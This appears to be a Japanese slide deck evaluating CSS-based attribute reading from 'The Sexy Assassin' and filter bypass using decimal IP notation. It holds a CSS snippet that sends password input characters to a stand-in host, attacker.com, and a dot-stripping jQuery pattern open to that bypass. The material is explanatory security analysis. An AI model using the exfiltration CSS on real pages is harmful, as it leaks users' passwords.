The Sexy Assassinで紹介されてるCSS HTML Attribute Readerがどこまで危険か検証してみた
自己紹介
- ども。KAYACでJS書いてる@kyo_agoです
- 最近はスマホ環境で色々JS書いてます
The Sexy Assassinとは
なんでこの話?
で、中を見てみるといろいろ興味深い
CSSでinput[type="password"]のvalue読み取りとか
input[value^="a"]{
background:url("//attacker.com/?s=a");
}
ただ、基本的には「CSSで何ができるか」という内容なので、
「そもそも外部からCSS書けるだけでまずい」というのがわかるので
具体的な攻撃シナリオが思い浮かばなかった
(あと、:visitedを多用してて最近のブラウザでは通用しないものも多い)
終わり
だけだとちょっとさみしいので、もうひとつ
ロングIPアドレスを使用したfile path injectionの可能性に関して
IPアドレスの10進数表記
(192.168.0.1=3232235521)
IE, Chromeでサポート
(Fx, Safariは未サポート)
<a href="//3232235521">Link</a>
で
192.168.0.1へ飛べる
XSS的な特徴
「外部ドメイン参照に.が不要」
$.get('/'+location.hash.slice(1).replace(/\./g, ''))的なコードが問題に
(オープンリダイレクタとか考えるとそもそも安全じゃないけど)
単体ではそこまで危険性は高くないと思うが、複合的に問題になる可能性はある
「ドメイン名には必ず.が入っている」という前提のフィルタの場合は問題になるかも
終わり